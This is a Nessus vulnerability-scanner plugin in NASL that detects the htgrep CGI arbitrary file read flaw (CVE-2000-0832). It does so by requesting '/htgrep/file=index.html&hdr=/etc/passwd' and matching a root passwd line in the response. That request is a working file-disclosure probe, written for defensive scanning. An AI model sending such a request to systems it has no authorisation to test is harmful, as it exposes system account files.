code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if(description)
{
script_id(10495);
script_version ("1.28");
script_cvs_date("Date: 2018/11/15 20:50:17");
script_cve_id("CVE-2000-0832");
script_name(english:"htgrep hdr Parameter Arbitrary File access");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a CGI script that is affected by an
information disclosure vulnerability." );
script_set_attribute(attribute:"description", value:
"The 'htgrep' cgi is installed. This CGI has a well known security flaw
that lets anyone read arbitrary files with the privileges of the http
daemon (usually root or nobody)." );
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/Aug/255" );
script_set_attribute(attribute:"solution", value:
"There is no known solution at this time." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_attribute(attribute:"plugin_publication_date", value: "2000/08/24");
script_set_attribute(attribute:"vuln_publication_date", value: "2000/08/17");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_summary(english:"Checks for the presence of /cgi-bin/htgrep");
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2000-2018 Tenable Network Security, Inc.");
script_family(english:"CGI abuses");
script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
exit(0);
}
#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
foreach dir (cgi_dirs())
{
res = http_send_recv3(
method:"GET",
item:string(dir, "/htgrep/file=index.html&hdr=/etc/passwd"),
port:port
);
if (isnull(res)) exit(1, "The web server on port "+port+" failed to respond.");
if(egrep(pattern:".*root:.*:0:[01]:", string:res[2])){
security_warning(port);
exit(0);
}
}
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